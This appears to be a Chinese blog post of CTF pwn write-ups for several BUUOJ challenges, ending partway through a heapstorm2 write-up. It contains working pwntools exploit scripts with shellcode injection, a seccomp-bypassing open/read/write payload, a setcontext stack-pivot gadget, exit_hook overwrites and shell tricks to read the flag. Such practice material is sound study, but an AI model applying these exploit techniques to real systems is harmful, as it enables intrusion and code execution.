登录后台

页面导航

本文编写于 190 天前,最后修改于 86 天前,其中某些信息可能已经过时。

pwnable_asm

chroot()用来改变根目录为参数path 所指定的目录。只有超级用户才允许改变根目录,子进程将继承新的根目录。
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

会直接执行我们的shellcode,构造open->read->write就行了

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
sh = remote('node3.buuoj.cn', 26136)
# sh= process('./asm')
shellcode = asm('''
mov rdi,0x41414100
mov rsi,0
mov rdx,0
mov rax,2
syscall
mov rdi,3
mov rsi,0x41414100
mov rdx,0x100
mov rax,0
syscall
mov rdi,1
mov rsi,0x41414100
mov rdx,0x100
mov rax,1
syscall
''')
sh.recvuntil('shellcode: ')
print len(shellcode)
sh.sendline(shellcode+'a'*(0x100-len(shellcode)-0x2e)+'flag.txt\x00')
sh.interactive()

rctf_2019_babyheap

知识点一:

https://x3h1n.github.io/2019/05/26/RCTF-2019-babyheap/

前面是largebin attack的攻击方式,后面的劫持流值得学习记录一下:

将free_hook修改为libc_base+0x47b75,这个地址有这样一个gadget:

.text:0000000000047B75                 mov     rsp, [rdi+0A0h]
.text:0000000000047B7C                 mov     rbx, [rdi+80h]
.text:0000000000047B83                 mov     rbp, [rdi+78h]
.text:0000000000047B87                 mov     r12, [rdi+48h]
.text:0000000000047B8B                 mov     r13, [rdi+50h]
.text:0000000000047B8F                 mov     r14, [rdi+58h]
.text:0000000000047B93                 mov     r15, [rdi+60h]
.text:0000000000047B97                 mov     rcx, [rdi+0A8h]
.text:0000000000047B9E                 push    rcx
.text:0000000000047B9F                 mov     rsi, [rdi+70h]
.text:0000000000047BA3                 mov     rdx, [rdi+88h]
.text:0000000000047BAA                 mov     rcx, [rdi+98h]
.text:0000000000047BB1                 mov     r8, [rdi+28h]
.text:0000000000047BB5                 mov     r9, [rdi+30h]
.text:0000000000047BB9                 mov     rdi, [rdi+68h]
.text:0000000000047BB9 ; } // starts at 47B40
.text:0000000000047BBD ; __unwind {
.text:0000000000047BBD                 xor     eax, eax
.text:0000000000047BBF                 retn

这样会把栈迁移到堆上,就可以构造rop链了,同理也可用于其他情况的栈迁移

知识点二:

https://bbs.pediy.com/thread-257648.htm

这里用到了setcontext函数来劫持程序执行流

inndy_onepunch

题目有任意地址写一字节的机会,但是没地方可写,查询发现text段可写???

from pwn import *
context.os = 'linux'
context.arch = 'amd64'
r = remote('node3.buuoj.cn',27833)

def fuck(addr, val):
    r.recvuntil('Where What?')
    r.sendline((hex(addr)+' '+str(val)))

shellcode = asm(shellcraft.sh())
addr = 0x400769
for i in range(len(shellcode)):
    fuck(addr+i,ord(shellcode[i]))

fuck(0x400768, 0xff)
r.interactive()

ciscn_2019_n_7

只能有一个chunk,可以泄露libc,直接exit_hook

from pwn import *
context.log_level = 'debug'
debug = 0
elf = ELF('ciscn_2019_n_7')

if debug:
    sh = process('./ciscn_2019_n_7')
    libc = elf.libc
else:
    sh = remote('node3.buuoj.cn',25944)
    libc = ELF('/home/at0de/Desktop/buuoj/libc/libc-2.23-64.so')


def add(size,name):
    sh.sendlineafter('Your choice-> \n',str(1))
    sh.recvuntil('Length: \n')
    sh.sendline(str(size))
    sh.recvuntil('Author name:\n')
    sh.send(str(name))
def show():
    sh.sendlineafter('Your choice-> \n',str(3))
def edit(name,data):
    sh.sendlineafter('Your choice-> \n',str(2))
    sh.recvuntil('name:\n')
    sh.send(str(name))
    sh.recvuntil('contents:\n')
    sh.send(str(data))

sh.sendlineafter('Your choice-> \n',str(666))
libc_base = int(sh.recv(14),16) - libc.symbols['puts']
log.success( 'libc_base: '+hex(libc_base))
add(0xf8,'a'*0x8+p64(libc_base+0x5f0f50-0x8))
edit('a'*0x8,p64(libc_base+0xf1147)*2)
sh.sendlineafter('Your choice-> \n',str(4))

sh.interactive()

stdout已经被关闭,所以不会有输出。可以通过 cat flag >&0, exec 1>&0; cat flag 等方法得到 flag。

0ctf_2018_heapstorm2

程序会mmap一块内存ptr,ptr[0]存放addr秘钥,ptr[1]存放size秘钥,ptr[2]和ptr[3]是show的判断条件

image.png

image.png

image.png

这道题禁用了fastbin,漏洞点在update里面,new_size小于old_size-12,它会填充12个字符,然后填充0,存在off-by-bull

image.png

和rctf_2019_babyheap基本一样,用off-by-null + unlink构造overlap,